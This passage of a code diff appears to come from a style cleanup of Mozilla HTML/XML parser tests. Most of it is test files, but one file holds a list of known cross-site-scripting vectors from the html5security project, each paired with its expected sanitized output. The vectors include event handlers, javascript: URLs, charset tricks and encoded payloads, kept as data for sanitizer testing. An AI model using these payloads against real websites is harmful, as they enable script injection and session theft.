   is(evt.type, expected[0], "Unexpected mutation type");
   is(evt.relatedNode, expected[1], "Unexpected related node");
 }
 
--- a/parser/htmlparser/tests/mochitest/test_bug639362.html
+++ b/parser/htmlparser/tests/mochitest/test_bug639362.html
@@ -14,15 +14,15 @@ https://bugzilla.mozilla.org/show_bug.cg
 <div id="content" style="display: none">
 
 </div>
 <script type="application/javascript">
 SimpleTest.waitForExplicitFinish();
 
 function loaded(iframe) {
   is(SpecialPowers.wrap(iframe).contentWindow.location.href, iframe.src, "should load correct URL");
-  is(SpecialPowers.wrap(iframe).contentDocument.body.textContent, 'CACHE MANIFEST', "text/cache-manifest should be treated as text");
+  is(SpecialPowers.wrap(iframe).contentDocument.body.textContent, "CACHE MANIFEST", "text/cache-manifest should be treated as text");
   SimpleTest.finish();
 }
 </script>
 <iframe src="data:text/cache-manifest,CACHE MANIFEST" onload="loaded(this);"></iframe>
 </body>
 </html>
--- a/parser/htmlparser/tests/mochitest/test_bug655682.html
+++ b/parser/htmlparser/tests/mochitest/test_bug655682.html
@@ -57,17 +57,17 @@ function probe() {
         triggeredSecondTd = true;
         var script = document.createElement("script");
         script.src = "file_bug655682.sjs?trigger=1";
         document.head.appendChild(script);
       }
       setTimeout(probe, 0);
       return;
     case 2:
-      is(tdsSeen, 1, "Should have seen one td before seeing two.");      
+      is(tdsSeen, 1, "Should have seen one td before seeing two.");
       finishedTesting = true;
       tryFinishTest();
       return;
     default:
       ok(false, "Wrong number of tds");
       SimpleTest.finish();
   }
 }
--- a/parser/htmlparser/tests/mochitest/test_bug672453.html
+++ b/parser/htmlparser/tests/mochitest/test_bug672453.html
@@ -89,12 +89,12 @@ window.onload = function() {
       return;
     }
     iframe.src = url;
   }
   iframe.onload = runNextTest;
 
   SimpleTest.monitorConsole(SimpleTest.finish, expectedErrors);
   runNextTest();
-}
+};
 </script>
 </body>
 </html>
--- a/parser/htmlparser/tests/mochitest/test_bug688580.html
+++ b/parser/htmlparser/tests/mochitest/test_bug688580.html
@@ -19,38 +19,38 @@ https://bugzilla.mozilla.org/show_bug.cg
   // DOMContentLoaded
   // readyState complete
   // load
 
   var state = "Test starting";
   var readyStateCall = 0;
   SimpleTest.waitForExplicitFinish();
   is(document.readyState, "loading", "Document should have been loading.");
-  document.addEventListener("DOMContentLoaded", function () {
+  document.addEventListener("DOMContentLoaded", function() {
     is(document.readyState, "interactive", "readyState should be interactive during DOMContentLoaded.");
     is(state, "defer", "Bad state upon DOMContentLoaded");
     state = "DOMContentLoaded";
   });
-  document.addEventListener("readystatechange", function () {
+  document.addEventListener("readystatechange", function() {
     readyStateCall++;
     if (readyStateCall == 1) {
       is(document.readyState, "interactive", "readyState should have changed to interactive.");
       is(state, "Test starting", "Bad state upon first readystatechange.");
       state = "readyState interactive";
     } else if (readyStateCall == 2) {
       is(document.readyState, "complete", "readyState should have changed to complete.");
       is(state, "DOMContentLoaded", "Bad state upon second readystatechange.");
       state = "readyState complete";
     } else {
       ok(false, "Too many readystatechanges");
     }
   });
-  window.addEventListener("load", function () {
+  window.addEventListener("load", function() {
     is(document.readyState, "complete", "readyState should be complete during load.");
-    is(state, "readyState complete", "Bad state upon load")
+    is(state, "readyState complete", "Bad state upon load");
     state = "load";
     SimpleTest.finish();
   });
   </script>
   <script defer src="file_bug688580.js"></script>
 </head>
 <body>
 <a target="_blank" href="https://bugzilla.mozilla.org/show_bug.cgi?id=688580">Mozilla Bug 688580</a>
--- a/parser/htmlparser/tests/mochitest/test_bug688580.xhtml
+++ b/parser/htmlparser/tests/mochitest/test_bug688580.xhtml
@@ -17,38 +17,38 @@ https://bugzilla.mozilla.org/show_bug.cg
   // DOMContentLoaded
   // readyState complete
   // load
 
   var state = "Test starting";
   var readyStateCall = 0;
   SimpleTest.waitForExplicitFinish();
   is(document.readyState, "loading", "Document should have been loading.");
-  document.addEventListener("DOMContentLoaded", function () {
+  document.addEventListener("DOMContentLoaded", function() {
     is(document.readyState, "interactive", "readyState should be interactive during DOMContentLoaded.");
     is(state, "defer", "Bad state upon DOMContentLoaded");
     state = "DOMContentLoaded";
   });
-  document.addEventListener("readystatechange", function () {
+  document.addEventListener("readystatechange", function() {
     readyStateCall++;
     if (readyStateCall == 1) {
       is(document.readyState, "interactive", "readyState should have changed to interactive.");
       is(state, "Test starting", "Bad state upon first readystatechange.");
       state = "readyState interactive";
     } else if (readyStateCall == 2) {
       is(document.readyState, "complete", "readyState should have changed to complete.");
       is(state, "DOMContentLoaded", "Bad state upon second readystatechange.");
       state = "readyState complete";
     } else {
       ok(false, "Too many readystatechanges");
     }
   });
-  window.addEventListener("load", function () {
+  window.addEventListener("load", function() {
     is(document.readyState, "complete", "readyState should be complete during load.");
-    is(state, "readyState complete", "Bad state upon load")
+    is(state, "readyState complete", "Bad state upon load");
     state = "load";
     SimpleTest.finish();
   });
   </script>
   <script defer="" src="file_bug688580.js"></script>
 </head>
 <body>
 <a target="_blank" href="https://bugzilla.mozilla.org/show_bug.cgi?id=688580">Mozilla Bug 688580</a>
--- a/parser/htmlparser/tests/mochitest/test_bug715739.html
+++ b/parser/htmlparser/tests/mochitest/test_bug715739.html
@@ -42,29 +42,29 @@ function tick() {
     d.open();
     f.addEventListener("load", tick);
     d.write("X");
     d.write("\u003cscript>document.write('Y');\u003c/script>");
     d.write("Z");
     d.close();
     return;
   }
-  
+
   if (runNumber == 2) {
     var text = textChildren(d.body);
     is(text, "XYZ", "Wrong text before reload.");
     f.contentWindow.location.reload();
     return;
   }
 
   if (runNumber == 3) {
     var text = textChildren(d.body);
     is(text, "XYZ", "Wrong text after reload.");
     SimpleTest.finish();
-    return;
+
   }
 }
 
 </script>
 </pre>
 <div id="content" style="display: none">
   <iframe></iframe>
 </div>
--- a/parser/htmlparser/tests/mochitest/test_bug716579.html
+++ b/parser/htmlparser/tests/mochitest/test_bug716579.html
@@ -15,17 +15,17 @@ https://bugzilla.mozilla.org/show_bug.cg
 <pre id="test">
 <script type="application/javascript">
 
 /** Test for Bug 716579 **/
 
 var html8 = "FAIL";
 var html16 = "FAIL";
 var xml8 = "FAIL";
-var xml16 = "FAIL"; 
+var xml16 = "FAIL";
 
 SimpleTest.waitForExplicitFinish();
 
 window.onload = function() {
   is(html8, "\u20AC", "HTML UTF-8 failed.");
   is(html16, "\u20AC", "HTML UTF-16 failed.");
   is(xml8, "\u20AC", "XML UTF-8 failed.");
   is(xml16, "\u20AC", "XML UTF-16 failed.");
--- a/parser/htmlparser/tests/mochitest/test_bug717180.html
+++ b/parser/htmlparser/tests/mochitest/test_bug717180.html
@@ -17,26 +17,26 @@ https://bugzilla.mozilla.org/show_bug.cg
 </div>
 <pre id="test">
 <script type="application/javascript">
 
 /** Test for Bug 717180 **/
 
 SimpleTest.waitForExplicitFinish();
 
-window.addEventListener("load", function () {
+window.addEventListener("load", function() {
   var iframe = document.getElementsByTagName("iframe")[0];
   var d = iframe.contentDocument;
   d.open();
   iframe.addEventListener("load", function() {
     is(iframe.contentDocument.body.textContent, "SUCCESS\n", "Wrong text");
     SimpleTest.finish();
   });
   d.write("\u003Cscript>");
-  d.write("window.location = 'file_bug717180.html';")
+  d.write("window.location = 'file_bug717180.html';");
   d.write("\u003C/script>");
   d.write("FAIL");
   d.close();
   is(iframe.contentDocument.body, null, "The document should not have a body right now.");
 });
 
 </script>
 </pre>
--- a/parser/htmlparser/tests/mochitest/test_compatmode.html
+++ b/parser/htmlparser/tests/mochitest/test_compatmode.html
@@ -15,85 +15,85 @@
 
 </div>
 
 <pre id="test">
 <script class="testbody" type="text/javascript">
 
 var doctypes = [
 /* from bug 363883 */
-'BackCompat' , '<!DOCTYPE>',
-'BackCompat' , '<!DOCTYPEz>',
-'BackCompat' , '<! DOCTYPE>',
-'BackCompat' , '<!zDOCTYPE>',
-'CSS1Compat' , '<!DOCTYPEHTML>',
-'BackCompat' , '<!DOCTYPEz HTML>',
-'CSS1Compat' , '<!DOCTYPE HTML>',
-'BackCompat' , '<!zDOCTYPE HTML>',
-'BackCompat' , '<!DOCTYPE HTMLz>',
-'BackCompat' , '<!DOCTYPE zHTML>',
-'BackCompat' , '<!DOCTYPE XHTML>',
-'BackCompat' , '<!DOCTYPE zzHTML>',
-'BackCompat' , '<!DOCTYPEzHTML>',
-'BackCompat' , '<!DOCTYPEzzHTML>',
-'BackCompat' , '<!DOCTYPE "bla">',
-'BackCompat' , '<!DOCTYPE HTML "bla">',
-'BackCompat' , '<!DOCTYPE HTML "html">',
-'BackCompat' , '<!DOCTYPE PUBLIC>',
-'BackCompat' , '<!DOCTYPE PUBLIC "bla">',
-'BackCompat' , '<!DOCTYPE PUBLIC "html">',
-'CSS1Compat' , '<!DOCTYPE HTML PUBLIC "bla">',
-'BackCompat' , '<!DOCTYPE HTML PUBLIC "html">',
-'BackCompat' , '<!DOCTYPEz HTML PUBLIC "html">',
-'BackCompat' , '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//en">',
-'BackCompat' , '<!DOCTYPEz HTML PUBLIC "-//IETF//DTD HTML 3.2//en">',
-'BackCompat' , '<!DOCTYPE HTMLz PUBLIC "DTD HTML 3.2">',
-'BackCompat' , '<!DOCTYPE "DTD HTML 3.2">',
+"BackCompat", "<!DOCTYPE>",
+"BackCompat", "<!DOCTYPEz>",
+"BackCompat", "<! DOCTYPE>",
+"BackCompat", "<!zDOCTYPE>",
+"CSS1Compat", "<!DOCTYPEHTML>",
+"BackCompat", "<!DOCTYPEz HTML>",
+"CSS1Compat", "<!DOCTYPE HTML>",
+"BackCompat", "<!zDOCTYPE HTML>",
+"BackCompat", "<!DOCTYPE HTMLz>",
+"BackCompat", "<!DOCTYPE zHTML>",
+"BackCompat", "<!DOCTYPE XHTML>",
+"BackCompat", "<!DOCTYPE zzHTML>",
+"BackCompat", "<!DOCTYPEzHTML>",
+"BackCompat", "<!DOCTYPEzzHTML>",
+"BackCompat", '<!DOCTYPE "bla">',
+"BackCompat", '<!DOCTYPE HTML "bla">',
+"BackCompat", '<!DOCTYPE HTML "html">',
+"BackCompat", "<!DOCTYPE PUBLIC>",
+"BackCompat", '<!DOCTYPE PUBLIC "bla">',
+"BackCompat", '<!DOCTYPE PUBLIC "html">',
+"CSS1Compat", '<!DOCTYPE HTML PUBLIC "bla">',
+"BackCompat", '<!DOCTYPE HTML PUBLIC "html">',
+"BackCompat", '<!DOCTYPEz HTML PUBLIC "html">',
+"BackCompat", '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//en">',
+"BackCompat", '<!DOCTYPEz HTML PUBLIC "-//IETF//DTD HTML 3.2//en">',
+"BackCompat", '<!DOCTYPE HTMLz PUBLIC "DTD HTML 3.2">',
+"BackCompat", '<!DOCTYPE "DTD HTML 3.2">',
 /* end from bug 363883 */
 // from bug 502600
-'BackCompat' , '<!doctype HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">',
+"BackCompat", '<!doctype HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">',
 ];
 
 window.addEventListener("message", verifyResult);
 
 function verifyResult(event) {
   let i = event.data.index;
   let curFrame = document.getElementById("test" + i);
   let mode = SpecialPowers.wrap(curFrame).contentDocument.compatMode;
-  is(mode,doctypes[i],doctypes[i+1]);
+  is(mode, doctypes[i], doctypes[i + 1]);
   if (i == doctypes.length - 2) {
     window.removeEventListener("message", verifyResult);
     SimpleTest.finish();
   }
 }
 
-////
-// Insert a hidden iframe into the document, with the src 
+// //
+// Insert a hidden iframe into the document, with the src
 // containing the test doctype.  The iframe's onload
 // function is set to call the test's verification step.
 //
 function insert_iframe(index, doctype) {
-  var elm = document.createElement('iframe');
+  var elm = document.createElement("iframe");
   elm.setAttribute("id", "test" + index);
-  elm.setAttribute('src', 'data:text/html,' + doctype +
-    '<html><body onload="parent.postMessage({index:'+index+'},\'*\');"></body>');
-  elm.setAttribute('style', 'display:none');
-  document.getElementsByTagName('body')[0].appendChild(elm);
+  elm.setAttribute("src", "data:text/html," + doctype +
+    '<html><body onload="parent.postMessage({index:' + index + '},\'*\');"></body>');
+  elm.setAttribute("style", "display:none");
+  document.getElementsByTagName("body")[0].appendChild(elm);
 }
 
-////
+// //
 // Iterate over the tests
 //
 function doTest() {
-  for (i=0; i < doctypes.length; i+=2) {
-    insert_iframe(i,doctypes[i+1]);
+  for (i = 0; i < doctypes.length; i += 2) {
+    insert_iframe(i, doctypes[i + 1]);
   }
 }
 
-////
+// //
 // Run the compatbility mode tests.
 //
 SimpleTest.waitForExplicitFinish();
 doTest();
 
 </script>
 </pre>
 </body>
--- a/parser/htmlparser/tests/mochitest/test_img_picture_preload.html
+++ b/parser/htmlparser/tests/mochitest/test_img_picture_preload.html
@@ -19,28 +19,28 @@ https://bugzilla.mozilla.org/show_bug.cg
     var testDPIs = [ "1.0", "0.5", "2.0", "1.5" ];
     var iframe = document.createElement("iframe");
 
     // These accessed by child frame
     var currentDPI;
 
     document.body.appendChild(iframe);
 
-    SpecialPowers.pushPrefEnv({'set': [ [ "dom.image.srcset.enabled", true ],
+    SpecialPowers.pushPrefEnv({"set": [ [ "dom.image.srcset.enabled", true ],
                                         [ "dom.image.picture.enabled", true ]] },
                               function() {
       // Reset the sjs helper so repeat runs work
       resetRequests();
       setTimeout(nextTest, 0);
     });
 
     function resetRequests() {
       // Ask the SJS to reset requests
       var request = new XMLHttpRequest();
-      request.open('GET', "./file_img_picture_preload.sjs?reset", false);
+      request.open("GET", "./file_img_picture_preload.sjs?reset", false);
       request.send(null);
       is(request.status, 200, "Sending reset to helper should succeed");
       // Script responds with pre-reset request count
       var previousRequests = +request.responseText;
 
       return previousRequests;
     }
 
@@ -59,18 +59,18 @@ https://bugzilla.mozilla.org/show_bug.cg
     function nextTest() {
       // Re-run test for each DPI level
       if (testDPIs.length) {
         currentDPI = testDPIs.pop();
         info("Starting test for DPI: " + currentDPI);
         // To avoid spurious image loads being reported when the resolution changes,
         // load an intermediate iframe.
         iframe.src = "about:blank";
-        iframe.addEventListener('load', function() {
-          SpecialPowers.pushPrefEnv({'set': [ [ "layout.css.devPixelsPerPx", currentDPI ]] },
+        iframe.addEventListener("load", function() {
+          SpecialPowers.pushPrefEnv({"set": [ [ "layout.css.devPixelsPerPx", currentDPI ]] },
                                     function() {
             // Clear image cache for next run (we don't try to validate cached items
             // in preload).
             SpecialPowers.Cc["@mozilla.org/image/tools;1"]
                          .getService(SpecialPowers.Ci.imgITools)
                          .getImgCacheForDocument(iframe.contentDocument)
                          .clearCache(false);
             iframe.src = "./file_img_picture_preload.html?" + currentDPI;
--- a/parser/htmlparser/tests/mochitest/test_xml_mislabeled.html
+++ b/parser/htmlparser/tests/mochitest/test_xml_mislabeled.html
@@ -1,56 +1,56 @@
 <!DOCTYPE html><meta charset=utf-8>
 <title>Test for mislabeled or unlabeled XML entities with U+xxD8</title>
 <script src="/tests/SimpleTest/SimpleTest.js"></script>
 <link rel="stylesheet" href="/tests/SimpleTest/test.css" />
 <body>
 <script class="testbody">
-'use strict';
+"use strict";
 
 SimpleTest.waitForExplicitFinish();
 
-var declaredEncodings = [null, 'utf-8', 'uTf-8', 'UTF-8', 'utf-16', 'uTf-16', 'UTF-16'];
-var actualEncodings = ['utf-8', 'utf-16be', 'utf-16le'];
-var i = 0, j = 0
+var declaredEncodings = [null, "utf-8", "uTf-8", "UTF-8", "utf-16", "uTf-16", "UTF-16"];
+var actualEncodings = ["utf-8", "utf-16be", "utf-16le"];
+var i = 0, j = 0;
 testxhr(declaredEncodings[i], actualEncodings[j]);
 
 function testxhr(declaredEncoding, actualEncoding) {
   // utf-16 XML requres the BOM
-  var bom = actualEncoding.startsWith('utf-16') ? '\uFEFF' : '';
-  var xmlDecl = declaredEncoding ? '<?xml version="1.0" encoding="' + declaredEncoding + '" ?>\n' : '';
+  var bom = actualEncoding.startsWith("utf-16") ? "\uFEFF" : "";
+  var xmlDecl = declaredEncoding ? '<?xml version="1.0" encoding="' + declaredEncoding + '" ?>\n' : "";
   // The test string need to contain U+xxD8 (bug 860180)
-  var xmlString = bom + xmlDecl + '<test>testハヒフヘホ</test>';
+  var xmlString = bom + xmlDecl + "<test>testハヒフヘホ</test>";
   var xml = new TextEncoder(actualEncoding).encode(xmlString);
-  var description = declaredEncoding ? ' labeled with ' + declaredEncoding : ' without XML declaration';
+  var description = declaredEncoding ? " labeled with " + declaredEncoding : " without XML declaration";
   if (!declaredEncoding || actualEncoding !== declaredEncoding.toLowerCase()) {
-    description += ' but actually encoded with ' + actualEncoding;
+    description += " but actually encoded with " + actualEncoding;
   }
   var xhr = new XMLHttpRequest();
-  var url = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
-  xhr.open('GET', url);
+  var url = URL.createObjectURL(new Blob([xml], {type: "text/xml"}));
+  xhr.open("GET", url);
   xhr.send();
   xhr.onload = xhr.onerror = function(e) {
     URL.revokeObjectURL(url);
-    is(e.type, 'load', 'xhr loading should succeed for XML' + description);
-    is(xhr.responseXML.documentElement.textContent, 'testハヒフヘホ',
-       'response should be available for XML' + description);
+    is(e.type, "load", "xhr loading should succeed for XML" + description);
+    is(xhr.responseXML.documentElement.textContent, "testハヒフヘホ",
+       "response should be available for XML" + description);
     testiframe(description, xml);
   };
 }
 
 function testiframe(description, xml) {
-  var iframe = document.createElement('iframe');
-  var url = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}))
+  var iframe = document.createElement("iframe");
+  var url = URL.createObjectURL(new Blob([xml], {type: "text/xml"}));
   iframe.src = url;
   iframe.onload = iframe.onerror = function(e) {
     URL.revokeObjectURL(url);
-    is(e.type, 'load', 'iframe loading should succeed for XML' + description);
-    is(iframe.contentDocument.documentElement.textContent, 'testハヒフヘホ',
-       'iframe content should be available for XML' + description);
+    is(e.type, "load", "iframe loading should succeed for XML" + description);
+    is(iframe.contentDocument.documentElement.textContent, "testハヒフヘホ",
+       "iframe content should be available for XML" + description);
     if (++i >= declaredEncodings.length) {
       i = 0;
       if (++j >= actualEncodings.length) {
         SimpleTest.finish();
         return;
       }
     }
     testxhr(declaredEncodings[i], actualEncodings[j]);
--- a/parser/xml/test/unit/results.js
+++ b/parser/xml/test/unit/results.js
@@ -1,844 +1,844 @@
 // vectors by the html5security project (https://code.google.com/p/html5security/ & Creative Commons 3.0 BY), see CC-BY-LICENSE for the full license
 
 var vectors = [
   {
     "data": "<form id=\"test\"></form><button form=\"test\" formaction=\"javascript:alert(1)\">X</button>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<meta charset=\"x-imap4-modified-utf7\">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi",
-    "sanitized": "<html><head></head><body>&amp;ADz&amp;AGn&amp;AG0&amp;AEf&amp;ACA&amp;AHM&amp;AHI&amp;AGO&amp;AD0&amp;AGn&amp;ACA&amp;AG8Abg&amp;AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&amp;ACAAPABi</body></html>"
+    "sanitized": "<html><head></head><body>&amp;ADz&amp;AGn&amp;AG0&amp;AEf&amp;ACA&amp;AHM&amp;AHI&amp;AGO&amp;AD0&amp;AGn&amp;ACA&amp;AG8Abg&amp;AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&amp;ACAAPABi</body></html>",
   },
   {
     "data": "<meta charset=\"x-imap4-modified-utf7\">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>",
-    "sanitized": "<html><head></head><body>&amp;alert&amp;A7&amp;(1)&amp;R&amp;UA;&amp;&amp;&lt;&amp;A9&amp;11/script&amp;X&amp;&gt;</body></html>"
+    "sanitized": "<html><head></head><body>&amp;alert&amp;A7&amp;(1)&amp;R&amp;UA;&amp;&amp;&lt;&amp;A9&amp;11/script&amp;X&amp;&gt;</body></html>",
   },
   {
     "data": "0?<script>Worker(\"#\").onmessage=message=>eval(message.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))",
-    "sanitized": "<html><head></head><body>0? :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))</body></html>"
+    "sanitized": "<html><head></head><body>0? :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))</body></html>",
   },
   {
     "data": "<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<input onfocus=write(1) autofocus>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<input onblur=write(1) autofocus><input autofocus>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<a style=\"-o-link:'javascript:alert(1)';-o-link-source:current\">X</a>",
-    "sanitized": "<html><head></head><body><a>X</a></body></html>"
+    "sanitized": "<html><head></head><body><a>X</a></body></html>",
   },
   {
     "data": "<video poster=javascript:alert(1)//></video>",
-    "sanitized": "<html><head></head><body><video poster=\"javascript:alert(1)//\" controls=\"controls\"></video></body></html>"
+    "sanitized": "<html><head></head><body><video poster=\"javascript:alert(1)//\" controls=\"controls\"></video></body></html>",
   },
   {
     "data": "<svg xmlns=\"http://www.w3.org/2000/svg\"><g onload=\"javascript:alert(1)\"></g></svg>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>",
-    "sanitized": "<html><head></head><body><br><br><br><br><br><br>...<br><br><br><br></body></html>"
+    "sanitized": "<html><head></head><body><br><br><br><br><br><br>...<br><br><br><br></body></html>",
   },
   {
     "data": "<x repeat=\"template\" repeat-start=\"999999\">0<y repeat=\"template\" repeat-start=\"999999\">1</y></x>",
-    "sanitized": "<html><head></head><body>01</body></html>"
+    "sanitized": "<html><head></head><body>01</body></html>",
   },
   {
     "data": "<input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<script>({0:#0=alert/#0#/#0#(0)})</script>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "X<x style=`behavior:url(#default#time2)` onbegin=`write(1)` >",
-    "sanitized": "<html><head></head><body>X</body></html>"
+    "sanitized": "<html><head></head><body>X</body></html>",
   },
   {
     "data": "<?xml-stylesheet href=\"javascript:alert(1)\"?><root/>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<script xmlns=\"http://www.w3.org/1999/xhtml\">&#x61;l&#x65;rt&#40;1)</script>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<meta charset=\"x-mac-farsi\">�script �alert(1)//�/script �",
-    "sanitized": "<html><head></head><body>�script �alert(1)//�/script �</body></html>"
+    "sanitized": "<html><head></head><body>�script �alert(1)//�/script �</body></html>",
   },
   {
     "data": "<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<input onblur=focus() autofocus><input>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=alert(1)&gt;`>",
-    "sanitized": "<html><head></head><body>1</body></html>"
+    "sanitized": "<html><head></head><body>1</body></html>",
   },
   {
     "data": "<script src=\"#\">{alert(1)}</script>;1",
-    "sanitized": "<html><head></head><body>;1</body></html>"
+    "sanitized": "<html><head></head><body>;1</body></html>",
   },
   {
     "data": "+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);",
-    "sanitized": "<html><head></head><body>+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);</body></html>"
+    "sanitized": "<html><head></head><body>+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);</body></html>",
   },
   {
     "data": "<style>p[foo=bar{}*{-o-link:'javascript:alert(1)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2)  attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=alert(1)&gt;>",
-    "sanitized": "<html><head></head><body>1</body></html>"
+    "sanitized": "<html><head></head><body>1</body></html>",
   },
   {
     "data": "<link rel=stylesheet href=data:,*%7bx:expression(write(1))%7d",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<style>@import \"data:,*%7bx:expression(write(1))%7D\";</style>",
-    "sanitized": "<html><head></head><body></body></html>"
+    "sanitized": "<html><head></head><body></body></html>",
   },
   {
     "data": "<frameset onload=alert(1)>",
-    "sanitized": "<html><head></head></html>"
+    "sanitized": "<html><head></head></html>",
   },
   {
     "data": "<table background=\"javascript:alert(1)\"></table>",
-    "sanitized": "<html><head></head><body><table></table></body></html>"
+    "sanitized": "<html><head></head><body><table></table></body></html>",
   },
   {
     "data": "<a style=\"pointer-events:none;position:absolute;\"><a style=\"position:absolute;\" onclick=\"alert(1);\">XXX</a></a><a href=\"javascript:alert(2)\">XXX</a>",
-    "sanitized": "<html><head></head><body><a></a><a>XXX</a><a>XXX</a></body></html>"
+    "sanitized": "<html><head></head><body><a></a><a>XXX</a><a>XXX</a></body></html>",
   },
   {
     "data": "1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>",
-    "sanitized": "<html><head></head><body>1</body></html>"
+    "sanitized": "<html><head></head><body>1</body></html>",
   },
   {
     "data": "1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(1) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>",
-    "sanitized": "<html><head></head><body>1<a href=\"#\"></a></body></html>"
+    "sanitized": "<html><head></head><body>1<a href=\"#\"></a></body></html>",
   },
   {
     "data": "<a style=\"behavior:url(#default#AnchorClick);\" folder=\"javascript:alert(1)\">XXX</a>",
-    "sanitized": "<html><head></head><body><a>XXX</a></body></html>"
+    "sanitized": "<html><head></head><body><a>XXX</a></body></html>",
   },
   {
     "data": "<!--<img src=\"--><img src=x onerror=alert(1)//\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<comment><img src=\"</comment><img src=x onerror=alert(1)//\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<!-- up to Opera 11.52, FF 3.6.28 -->\r\n<![><img src=\"]><img src=x onerror=alert(1)//\">\r\n\r\n<!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+  -->\r\n<svg><![CDATA[><image xlink:href=\"]]><img src=xx:x onerror=alert(2)//\"></svg>",
-    "sanitized": "<html><head></head><body><img>\n\n\n&gt;&lt;image xlink:href=\"<img></body></html>"
+    "sanitized": "<html><head></head><body><img>\n\n\n&gt;&lt;image xlink:href=\"<img></body></html>",
   },
   {
     "data": "<style><img src=\"</style><img src=x onerror=alert(1)//\">",
-    "sanitized": "<html><head></head><body><img></body></html>"
+    "sanitized": "<html><head></head><body><img></body></html>",
   },
   {
     "data": "<li style=list-style:url() onerror=alert(1)></li>\n<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>",
-    "sanitized": "<html><head></head><body><li></li>\n<div></div></body></html>"
+    "sanitized": "<html><head></head><body><li></li>\n<div></div></body></html>",
   },
   {
     "data": "<head><base href=\"javascript://\"/></head><body><a href=\"/. /,alert(1)//#\">XXX</a></body>",
-    "sanitized": "<html><head></head><body><a>XXX</a></body></html>"
+    "sanitized": "<html><head></head><body><a>XXX</a></body></html>",
   },
   {
